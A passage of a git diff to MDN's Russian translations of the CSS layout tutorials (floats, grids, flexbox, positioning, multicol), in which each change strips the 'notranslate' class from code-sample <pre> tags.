aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 90%; max-width: 900px; margin: 0 auto; @@ -439,7 +439,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>Современный способ решения этой проблемы — это использование значения <code>flow-root</code> свойства <code>display</code>. Он существует только для создания BFC без использования хака — не будет возникать <span class="tlid-translation translation" lang="ru"><span title="">непреднамеренных </span></span>последствий, когда вы используете его. Удалите <code>overflow: auto</code> из вашего правила <code>.wrapper</code> и добавьте <code>display: flow-root</code>. <span class="tlid-translation translation" lang="ru"><span title="">Если предположить,</span></span> что у вас <a href="/en-US/docs/Web/CSS/display#Browser_compatibility">поддерживающий браузер</a>, блок будет очищаться.</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { background-color: rgb(79,185,227); padding: 10px; color: #fff; @@ -450,7 +450,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <div class="hidden"> <h6 id="Float_Example_7">Float Example 7</h6> -<pre class="brush: html notranslate"><h1>Simple float example</h1> +<pre class="brush: html"><h1>Simple float example</h1> <div class="wrapper"> <div class="box">Float</div> @@ -460,7 +460,7 @@ translation_of: Learn/CSS/CSS_layout/Floats <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 90%; max-width: 900px; margin: 0 auto; diff --git a/files/ru/learn/css/css_layout/grids/index.html b/files/ru/learn/css/css_layout/grids/index.html index cfdfcd3c83..89129aff25 100644 --- a/files/ru/learn/css/css_layout/grids/index.html +++ b/files/ru/learn/css/css_layout/grids/index.html @@ -60,7 +60,7 @@ translation_of: Learn/CSS/CSS_layout/Grids <p>Начните с создания локальной копии нашего образца <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid.html">simple-grid.html</a> файла, который содержит следующую разметку в своём теле.</p> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="row"> <div class="col">1</div> <div class="col">2</div> @@ -89,7 +89,7 @@ translation_of: Learn/CSS/CSS_layout/Grids <p>В элементе {{htmlelement ("style")}} добавьте следующий код, который даёт контейнеру ширину 980 пикселей с отступом с правой стороны 20 пикселей. Это даёт нам 960 пикселей для нашей общей ширины столбца/желоба - в этом случае отступы вычитаются из общей ширины содержимого, потому что мы установили {{cssxref ("box-sizing")}} в рамку по всем элементам на сайте (см. <a href="/en-US/docs/Learn/CSS/Styling_boxes/Box_model_recap#Changing_the_box_model_completely">Changing the box model completely</a> для большего объяснения).</p> -<pre class="brush: css notranslate">* { +<pre class="brush: css">* { box-sizing: border-box; } @@ -105,7 +105,7 @@ body { <p>Теперь используйте контейнер строк, который обёрнут вокруг каждой строки сетки, чтобы очистить одну строку от другой. Добавьте следующее правило ниже предыдущего:</p> -<pre class="brush: css notranslate">.row { +<pre class="brush: css">.row { clear: both; }</pre> @@ -115,7 +115,7 @@ body { <p>Нам нужно вычесть это из нашей общей ширины 960 пикселей, что даёт нам 720 пикселей для наших столбцов. Если мы разделим это на 12, мы знаем, что каждый столбец должен быть 60 пикселей в ширину. Наш следующий шаг - создать правило для класса <code>.col</code>, плавающее влево, предоставив ему {{cssxref ("margin-left")}} из 20 пикселей для формирования желоба и {{cssxref ("width" )}} из 60 пикселей. Добавьте нижеследующее правило в CSS:</p> -<pre class="brush: css notranslate">.col { +<pre class="brush: css">.col { float: left; margin-left: 20px; width: 60px; @@ -132,7 +132,7 @@ body { <p>Добавьте нижеследующую часть вашего CSS:</p> -<pre class="brush: css notranslate">/ * Ширина двух колонок (120 пикселей) плюс одна ширина желоба (20 пикселей) */ +<pre class="brush: css">/ * Ширина двух колонок (120 пикселей) плюс одна ширина желоба (20 пикселей) */ .col.span2 { width: 140px; } / * Три ширины столбца (180 пикселей) плюс две ширины желоба (40 пикселей) * / .col.span3 { width: 220px; } @@ -155,7 +155,7 @@ body { <p>Попробуйте изменить классы на своих элементах или даже добавить и удалить некоторые контейнеры, чтобы увидеть, как вы можете изменять макет. Например, вы можете сделать вторую строку следующим образом:</p> -<pre class="brush: css notranslate"><div class="row"> +<pre class="brush: css"><div class="row"> <div class="col span8">13</div> <div class="col span4">14</div> </div></pre> @@ -168,17 +168,17 @@ body { <p>Уравнение, которое превращает фиксированную ширину в гибкую, основанную на процентах, выглядит следующим образом.</p> -<pre class="notranslate">target / context = result</pre> +<pre>target / context = result</pre> <p>Для нашей ширины столбца наша <strong>целевая ширина</strong> составляет 60 пикселей, а наш <strong>контекст</strong> 960 пикселей. Для расчёта процента мы можем использовать следующее.</p> -<pre class="notranslate">60 / 960 = 0.0625</pre> +<pre>60 / 960 = 0.0625</pre> <p>Затем мы перемещаем десятичные точки на 2 места, давая нам процент от 6,25%. Таким образом, в нашем CSS мы можем заменить ширину столбца 60 пикселей на 6,25%.</p> <p>Мы должны сделать то же самое с нашей шириной желоба:</p> -<pre class="notranslate">20 / 960 = 0.02083333333</pre> +<pre>20 / 960 = 0.02083333333</pre> <p>Поэтому нам нужно заменить 20 пикселей {{cssxref ("margin-left")}} на наше правило <code>.col</code> 20 пикселей {{cssxref ("padding-right")}} на <code>.wrapper </code>с 2.08333333%.</p> @@ -188,7 +188,7 @@ body { <p>Обновите второе правило CSS (с помощью селектора <code>.wrapper</code>) следующим образом:</p> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 90%; max-width: 980px; margin: 0 auto; @@ -202,7 +202,7 @@ body { <p>Затем обновите четвёртое правило CSS (с селектором <code>.col</code>) следующим образом:</p> -<pre class="brush: css notranslate">.col { +<pre class="brush: css">.col { float: left; margin-left: 2.08333333%; width: 6.25%; @@ -213,7 +213,7 @@ body { <p>Обновите нижний блок правил CSS следующим образом:</p> -<pre class="brush: css notranslate">/* Two column widths (12.5%) plus one gutter width (2.08333333%) */ +<pre class="brush: css">/* Two column widths (12.5%) plus one gutter width (2.08333333%) */ .col.span2 { width: 14.58333333%; } /* Three column widths (18.75%) plus two gutter widths (4.1666666) */ .col.span3 { width: 22.91666666%; } @@ -240,13 +240,13 @@ body { <p>В любом случае, вернёмся к нашим сетям! Любой столбец, который охватывает более одного столбца нашей сетки, имеет общую ширину 6,25%, умноженную на количество столбцов, спаренных плюс 2.08333333%, умноженное на количество желобов (которые всегда будут числом столбцов минус 1). Функция <code>calc () </code>позволяет нам делать это вычисление прямо внутри значения ширины, поэтому для любого элемента, охватывающего 4 столбца, мы можем это сделать, например:</p> -<pre class="brush: css notranslate">.col.span4 { +<pre class="brush: css">.col.span4 { width: calc((6.25%*4) + (2.08333333%*3)); }</pre> <p>Попробуйте заменить нижний блок правил следующим, а затем перезагрузите его в браузере, чтобы узнать, получаете ли вы тот же результат:</p> -<pre class="brush: css notranslate">.col.span2 { width: calc((6.25%*2) + 2.08333333%); } +<pre class="brush: css">.col.span2 { width: calc((6.25%*2) + 2.08333333%); } .col.span3 { width: calc((6.25%*3) + (2.08333333%*2)); } .col.span4 { width: calc((6.25%*4) + (2.08333333%*3)); } .col.span5 { width: calc((6.25%*5) + (2.08333333%*4)); } @@ -272,7 +272,7 @@ body { <p>Это не единственный подход. Вместо этого вы можете выбрать свою сетку, а затем добавить информацию о размерах в правила для существующих семантических классов. Например, если у вас есть {{htmlelement ("div")}} с классом <code>content</code> в нем, который вы хотите разбить на 8 столбцов, вы можете скопировать по ширине из класса <code>span8</code>, предоставив вам следующее правило:</p> -<pre class="brush: css notranslate">.content { +<pre class="brush: css">.content { width: calc((6.25%*8) + (2.08333333%*7)); }</pre> @@ -290,23 +290,23 @@ body { <p>Давайте создадим класс в нашем CSS, который будет смещать элемент контейнера на одну ширину столбца. Добавьте нижеследующую часть вашего CSS:</p> -<pre class="brush: css notranslate">.offset-by-one { +<pre class="brush: css">.offset-by-one { margin-left: calc(6.25% + (2.08333333%*2)); }</pre> <p>Или если вы предпочитаете самостоятельно рассчитать проценты, используйте это:</p> -<pre class="brush: css notranslate">.offset-by-one { +<pre class="brush: css">.offset-by-one { margin-left: 10.41666666%; }</pre> <p>Теперь вы можете добавить этот класс в любой контейнер, в котором вы хотите оставить пустое пространство с одним столбцом в левой части окна. Например, если у вас есть это в вашем HTML:</p> -<pre class="brush: html notranslate"><div class="col span6">14</div></pre> +<pre class="brush: html"><div class="col span6">14</div></pre> <p>Попробуйте заменить его на</p> -<pre class="brush: html notranslate"><div class="col span5 offset-by-one">14</div></pre> +<pre class="brush: html"><div class="col span5 offset-by-one">14</div></pre> <div class="note"> <p><strong>Примечание</strong>: Обратите внимание, что вам необходимо уменьшить количество столбцов, чтобы освободить место для смещения!</p> @@ -334,7 +334,7 @@ body { <p>Однако flexbox никогда не разрабатывался как сетчатая система и создаёт новый набор проблем при использовании в качестве одного. В качестве простого примера мы можем использовать тот же пример разметки, который мы использовали выше, и использовать следующий CSS для стилей классов-оболочек (<code>wrapper</code>), <code>row</code> и <code>col</code> классов:</p> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 90%; max-width: 980px; margin: 0 auto; @@ -387,7 +387,7 @@ body { <p>Включите скелет и нормализуйте CSS на странице HTML, добавив следующее в голову:</p> -<pre class="brush: html notranslate"><link href="normalize.css" rel="stylesheet"> +<pre class="brush: html"><link href="normalize.css" rel="stylesheet"> <link href="skeleton.css" rel="stylesheet"></pre> <p>Скелет включает в себя больше, чем сетку - он также содержит CSS для типографики и других элементов страницы, которые вы можете использовать в качестве отправной точки. На данный момент мы оставим их по умолчанию, но именно эта сетка нас действительно интересует.</p> @@ -398,7 +398,7 @@ body { <p>Мы будем использовать аналогичный HTML для нашего предыдущего примера. Добавьте в свой HTML-код следующее:</p> -<pre class="brush: html notranslate"><div class="container"> +<pre class="brush: html"><div class="container"> <div class="row"> <div class="col">1</div> <div class="col">2</div> @@ -426,7 +426,7 @@ body { <p>Вы можете посмотреть в файле skeleton.css, чтобы увидеть CSS, который используется, когда мы применяем этот класс. <code><div></code> центрируется с использованием <code>auto</code> левого и правого полей, а отступы в 20 пикселей применяются слева и справа. Скелет также устанавливает свойство {{cssxref ("box-sizing")}} в <code>border-box</code>, как мы делали это раньше, поэтому дополнение и границы этого элемента будут включены в общую ширину.</p> -<pre class="brush: css notranslate">.container { +<pre class="brush: css">.container { position: relative; width: 100%; max-width: 960px; @@ -441,7 +441,7 @@ body { <p>Добавьте их сейчас, как показано в следующем фрагменте:</p> -<pre class="brush: html notranslate"><div class="container"> +<pre class="brush: html"><div class="container"> <div class="row"> <div class="one column">1</div> <div class="one column">2</div> @@ -452,7 +452,7 @@ body { <p>Затем дайте контейнеры во втором классе классов, объясняющие количество столбцов, которые они должны охватывать, например:</p> -<pre class="brush: html notranslate"><div class="row"> +<pre class="brush: html"><div class="row"> <div class="one column">13</div> <div class="six columns">14</div> <div class="three columns">15</div> @@ -467,7 +467,7 @@ body { <p>Если вы посмотрите в файле skeleton.css, вы увидите, как это работает. Например, у Skeleton определены следующие элементы стиля с добавленными к ним классами «три столбца».</p> -<pre class="brush: css notranslate">.three.columns { width: 22%; }</pre> +<pre class="brush: css">.three.columns { width: 22%; }</pre> <p>Весь Skeleton (или любая другая структура сетки) выполняет настройку предопределённых классов, которые вы можете использовать, добавив их в свою разметку. Это точно так же, как если бы вы сами делали расчёт этих процентов.</p> @@ -491,7 +491,7 @@ body { <p>Сначала начните с создания локальной копии файла <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/css-grid.html">css-grid.html</a>. Он содержит следующую разметку:</p> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="col">1</div> <div class="col">2</div> <div class="col">3</div> @@ -514,7 +514,7 @@ body { <p>Теперь добавьте следующее в элемент {{htmlelement ("style")}}:</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { width: 90%; max-width: 960px; margin: 0 auto; @@ -539,13 +539,13 @@ body { <p>Чтобы создать контейнеры, которые охватывают несколько треков столбцов в сетке, мы можем использовать свойство {{cssxref ("grid-column")}}. Чтобы охватить 6 столбцов, например:</p> -<pre class="brush: css notranslate">.span6 { +<pre class="brush: css">.span6 { grid-column: auto / span 6; }</pre> <p>И для span 3:</p> -<pre class="brush: css notranslate">.span3 { +<pre class="brush: css">.span3 { grid-column: auto / span 3; }</pre> @@ -553,7 +553,7 @@ body { <p>Добавьте нижеследующую часть вашего CSS:</p> -<pre class="brush: css notranslate">.span2 { grid-column: auto / span 2;} +<pre class="brush: css">.span2 { grid-column: auto / span 2;} .span3 { grid-column: auto / span 3;} .span4 { grid-column: auto / span 4;} .span5 { grid-column: auto / span 5;} @@ -571,7 +571,7 @@ body { <p>Вы можете проверить это, заменив последние 4 col <code><div></code> s следующим:</p> -<pre class="brush: css notranslate"><div class="col">13some<br>content</div> +<pre class="brush: css"><div class="col">13some<br>content</div> <div class="col span6">14this<br>is<br>more<br>content</div> <div class="col span3">15this<br>is<br>less</div> <div class="col span2">16</div></pre> @@ -590,17 +590,17 @@ body { <p>С сетками CSS нам не нужно толкать вещи вдоль полей, чтобы их компенсировать. Попробуйте внести эти изменения в свой CSS:</p> -<pre class="brush: css notranslate">.content { +<pre class="brush: css">.content { grid-column: 2 / 8; }</pre> -<pre class="brush: html notranslate"><div class="col span2 content">16</div></pre> +<pre class="brush: html"><div class="col span2 content">16</div></pre> <p>Контейнер 16 теперь будет охватывать столбцы с 2 по 8, в следующей доступной строке, где он может поместиться.</p> <p>Мы можем так же легко группировать строки так же, как и столбцы:</p> -<pre class="brush: css notranslate">.content { +<pre class="brush: css">.content { grid-column: 2 / 8; grid-row: 3 / 5; }</pre> diff --git a/files/ru/learn/css/css_layout/introduction/index.html b/files/ru/learn/css/css_layout/introduction/index.html index e8da5eafd9..2fbf873cce 100644 --- a/files/ru/learn/css/css_layout/introduction/index.html +++ b/files/ru/learn/css/css_layout/introduction/index.html @@ -41,7 +41,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction <p>Нормальный поток (Normal flow) это то как ваш браузер отображает по умолчанию, когда вы не меняли расположение элементов на странице. Взглянем на пример:</p> -<pre class="brush: html notranslate"><p>I love my cat.</p> +<pre class="brush: html"><p>I love my cat.</p> <ul> <li>Buy cat food</li> @@ -95,7 +95,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction <div class="hidden"> <h6 id="Flexbox_Example_1">Flexbox Example 1</h6> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper > div { border-radius: 5px; @@ -105,12 +105,12 @@ translation_of: Learn/CSS/CSS_layout/Introduction </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: flex; } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -128,7 +128,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction <div class="hidden"> <h6 id="Flexbox_Example_2">Flexbox Example 2</h6> -<pre class="brush: css notranslate"> * {box-sizing: border-box;} +<pre class="brush: css"> * {box-sizing: border-box;} .wrapper > div { border-radius: 5px; @@ -138,7 +138,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: flex; } @@ -147,7 +147,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -171,7 +171,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction <div class="hidden"> <h6 id="Grid_example_1">Grid example 1</h6> -<pre class="brush: css notranslate"> * {box-sizing: border-box;} +<pre class="brush: css"> * {box-sizing: border-box;} .wrapper > div { border-radius: 5px; @@ -181,7 +181,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; grid-template-rows: 100px 100px; @@ -189,7 +189,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -208,7 +208,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction <div class="hidden"> <h6 id="Grid_example_2">Grid example 2</h6> -<pre class="brush: css notranslate"> * {box-sizing: border-box;} +<pre class="brush: css"> * {box-sizing: border-box;} .wrapper > div { border-radius: 5px; @@ -218,7 +218,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; grid-template-rows: 100px 100px; @@ -241,7 +241,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -276,7 +276,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction <div class="hidden"> <h6 id="Floats_example">Floats example</h6> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 90%; max-width: 900px; margin: 0 auto; @@ -296,7 +296,7 @@ p { </pre> </div> -<pre class="brush: html notranslate"><h1>Simple float example</h1> +<pre class="brush: html"><h1>Simple float example</h1> <div class="box">Float</div> @@ -304,7 +304,7 @@ p { </pre> -<pre class="brush: css notranslate"> +<pre class="brush: css"> .box { float: left; width: 150px; @@ -340,7 +340,7 @@ p { <p>Для ознакомления с этими методами вёрстки, мы покажем вам пару быстрых примеров. Наши примеры будут иметь одинаковый HTML, который выглядит следующим образом:</p> -<pre class="brush: html notranslate"><h1>Positioning</h1> +<pre class="brush: html"><h1>Positioning</h1> <p>I am a basic block level element.</p> <p class="positioned">I am a basic block level element.</p> @@ -348,7 +348,7 @@ p { <p>Этот HTML по умолчанию будет стилизован, используя следующий CSS:</p> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 500px; margin: 0 auto; } @@ -370,7 +370,7 @@ p { <p>Относительное (Relative) позиционирование позволяет вам смещать элемент относительно положения, которое он бы имел по умолчанию в нормальном потоке. Это значит, что вы можете выполнить такую задачу как перемещение иконки немного вниз, так чтобы он был на одной линии с текстовой меткой. Чтобы сделать это, мы можем добавить следующее правило для добавления относительного позиционирования.</p> -<pre class="brush: css notranslate">.positioned { +<pre class="brush: css">.positioned { position: relative; top: 30px; left: 30px; @@ -384,13 +384,13 @@ p { <div class="hidden"> <h6 id="Relative_positioning_example">Relative positioning example</h6> -<pre class="brush: html notranslate"><h1>Relative positioning</h1> +<pre class="brush: html"><h1>Relative positioning</h1> <p>I am a basic block level element.</p> <p class="positioned">This is my relatively positioned element.</p> <p>I am a basic block level element.</p></pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 500px; margin: 0 auto; } @@ -405,7 +405,7 @@ p { </pre> </div> -<pre class="brush: css notranslate">.positioned { +<pre class="brush: css">.positioned { position: relative; background: rgba(255,84,104,.3); border: 2px solid rgb(255,84,104); @@ -422,7 +422,7 @@ p { <p>Возвращаясь к нашему примеру без позиционирования, мы можем добавить следующее CSS-правило, чтобы реализовать абсолютное позиционирование:</p> -<pre class="brush: css notranslate">.positioned { +<pre class="brush: css">.positioned { position: absolute; top: 30px; left: 30px; @@ -434,13 +434,13 @@ p { <div class="hidden"> <h6 id="Absolute_positioning_example">Absolute positioning example</h6> -<pre class="brush: html notranslate"><h1>Absolute positioning</h1> +<pre class="brush: html"><h1>Absolute positioning</h1> <p>I am a basic block level element.</p> <p class="positioned">This is my absolutely positioned element.</p> <p>I am a basic block level element.</p></pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 500px; margin: 0 auto; } @@ -455,7 +455,7 @@ p { </pre> </div> -<pre class="brush: css notranslate">.positioned { +<pre class="brush: css">.positioned { position: absolute; background: rgba(255,84,104,.3); border: 2px solid rgb(255,84,104); @@ -474,7 +474,7 @@ p { <p>Для этого примера наш HTML это три параграфа текста для того, чтобы мы могли прокручивать страницу и блок, которому мы дадим <code>position: fixed</code>.</p> -<pre class="brush: html notranslate"><h1>Fixed positioning</h1> +<pre class="brush: html"><h1>Fixed positioning</h1> <div class="positioned">Fixed</div> @@ -487,7 +487,7 @@ p { <div class="hidden"> <h6 id="Fixed_positioning_example">Fixed positioning example</h6> -<pre class="brush: html notranslate"><h1>Fixed positioning</h1> +<pre class="brush: html"><h1>Fixed positioning</h1> <div class="positioned">Fixed</div> @@ -499,7 +499,7 @@ p { </pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 500px; margin: 0 auto; } @@ -513,7 +513,7 @@ p { }</pre> </div> -<pre class="brush: css notranslate">.positioned { +<pre class="brush: css">.positioned { position: fixed; top: 30px; left: 30px; @@ -530,7 +530,7 @@ p { <div class="hidden"> <h6 id="Sticky_positioning_example">Sticky positioning example</h6> -<pre class="brush: html notranslate"><h1>Sticky positioning</h1> +<pre class="brush: html"><h1>Sticky positioning</h1> <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> @@ -540,7 +540,7 @@ p { <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> </pre> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 500px; margin: 0 auto; } @@ -554,7 +554,7 @@ p { }</pre> </div> -<pre class="brush: css notranslate">.positioned { +<pre class="brush: css">.positioned { position: sticky; top: 30px; left: 30px; @@ -577,7 +577,7 @@ p { <p>Давайте взглянем на пример. Во-первых, немного простой разметки, которая создаёт HTML форму. Каждый input элемент имеет label, и мы также заключили описание в параграф. каждая пара label/input обёрнута в {{htmlelement("div")}}, для целей вёрстки.</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <p>First of all, tell us your name and age.</p> <div> <label for="fname">First name:</label> @@ -597,7 +597,7 @@ p { <p>Вы заметите, что параграфу с описанием дано <code>display: table-caption;</code> — что заставляет его вести себя как табличный {{htmlelement("caption")}} — а <code>caption-side: bottom;</code> для того чтобы указать описанию располагаться снизу таблицы в целях дизайна, не смотря на то что разметка находится до <code><input></code> элементов в источнике. Это обеспечивает гибкостью.</p> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: sans-serif; } @@ -647,7 +647,7 @@ form p { <p>В примере ниже мы начинаем с HTML блоком, который содержится в элементе <code><div></code> с классом <code>container</code>.</p> -<pre class="brush: html notranslate"><div class="container"> +<pre class="brush: html"><div class="container"> <h1>Multi-column layout</h1> <p>Paragraph 1.</p> @@ -662,7 +662,7 @@ form p { <div class="hidden"> <h6 id="Multicol_example">Multicol example</h6> -<pre class="brush: html notranslate"> <div class="container"> +<pre class="brush: html"> <div class="container"> <h1>Multi-column Layout</h1> <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> @@ -673,10 +673,10 @@ form p { </div> </pre> -<pre class="brush: css notranslate">body { max-width: 800px; margin: 0 auto; } </pre> +<pre class="brush: css">body { max-width: 800px; margin: 0 auto; } </pre> </div> -<pre class="brush: css notranslate"> .container { +<pre class="brush: css"> .container { column-width: 200px; }</pre> </div> diff --git a/files/ru/learn/css/css_layout/multiple-column_layout/index.html b/files/ru/learn/css/css_layout/multiple-column_layout/index.html index 14b11aadda..0d798584af 100644 --- a/files/ru/learn/css/css_layout/multiple-column_layout/index.html +++ b/files/ru/learn/css/css_layout/multiple-column_layout/index.html @@ -35,7 +35,7 @@ original_slug: Learn/CSS/CSS_layout/Макет_с_несколькими_сто <p>{{htmlelement("div")}} с классом контейнер станет нашим multicol контейнером. Мы включаем multicol используя одно из двух свойств {{cssxref("column-count")}} или {{cssxref("column-width")}}. Какое значение вы дадите свойству <code>column-count</code> столько столбцов он и создаст, поэтому если вы добавите следующий CSS в ваши стили и перезагрузите страницу, то получите три столбца:</p> -<pre class="brush: css notranslate">.container { +<pre class="brush: css">.container { column-count: 3; } </pre> @@ -46,7 +46,7 @@ original_slug: Learn/CSS/CSS_layout/Макет_с_несколькими_сто <div class="hidden"> <h6 id="column-count_example">column-count example</h6> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 90%; max-width: 900px; margin: 2em auto; @@ -55,7 +55,7 @@ original_slug: Learn/CSS/CSS_layout/Макет_с_несколькими_сто </pre> </div> -<pre class="brush: html notranslate"><div class="container"> +<pre class="brush: html"><div class="container"> <h1>Simple multicol example</h1> <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. @@ -71,7 +71,7 @@ original_slug: Learn/CSS/CSS_layout/Макет_с_несколькими_сто </div> </pre> -<pre class="brush: css notranslate">.container { +<pre class="brush: css">.container { column-count: 3; } </pre> @@ -81,7 +81,7 @@ original_slug: Learn/CSS/CSS_layout/Макет_с_несколькими_сто <p>Измените ваш CSS чтобы использовать следующий <code>column-width</code>:</p> -<pre class="brush: css notranslate">.container { +<pre class="brush: css">.container { column-width: 200px; } </pre> @@ -92,14 +92,14 @@ original_slug: Learn/CSS/CSS_layout/Макет_с_несколькими_сто <div class="hidden"> <h6 id="column-width_example">column-width example</h6> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 Arial, Helvetica, sans-serif; }</pre> -<pre class="brush: html notranslate"><div class="container"> +<pre class="brush: html"><div class="container"> <h1>Simple multicol example</h1> <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. @@ -115,7 +115,7 @@ original_slug: Learn/CSS/CSS_layout/Макет_с_несколькими_сто </div></pre> </div> -<pre class="brush: css notranslate">.container { +<pre class="brush: css">.container { column-width: 200px; } </pre> @@ -134,14 +134,14 @@ original_slug: Learn/CSS/CSS_layout/Макет_с_несколькими_сто <p>Используя ваш пример выше, измените размер отступа добавлением свойства <code>column-gap</code>:</p> -<pre class="brush: css notranslate">.container { +<pre class="brush: css">.container { column-width: 200px; column-gap: 20px; }</pre> <p>Вы можете поиграть с разными значениями — свойство принимает любые единицы измерения длины. Теперь добавьте линейку между столбцами при помощи <code>column-rule</code>. Таким же способом как и свойство {{cssxref("border")}} с которым вы сталкивались в предыдущих уроках, <code>column-rule</code> — это короткая запись {{cssxref("column-rule-color")}}, {{cssxref("column-rule-style")}} и {{cssxref("column-rule-width")}} и принимает те же значения что и <code>border</code>.</p> -<pre class="brush: css notranslate">.container { +<pre class="brush: css">.container { column-count: 3; column-gap: 20px; column-rule: 4px dotted rgb(79, 185, 227); @@ -153,7 +153,7 @@ original_slug: Learn/CSS/CSS_layout/Макет_с_несколькими_сто <div class="hidden"> <h6 id="Styling_the_columns">Styling the columns</h6> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 90%; max-width: 900px; margin: 2em auto; @@ -165,7 +165,7 @@ original_slug: Learn/CSS/CSS_layout/Макет_с_несколькими_сто column-rule: 4px dotted rgb(79, 185, 227); }</pre> -<pre class="brush: html notranslate"><div class="container"> +<pre class="brush: html"><div class="container"> <h1>Simple multicol example</h1> <p> Lorem ipsum dolor sit amet, consectetur 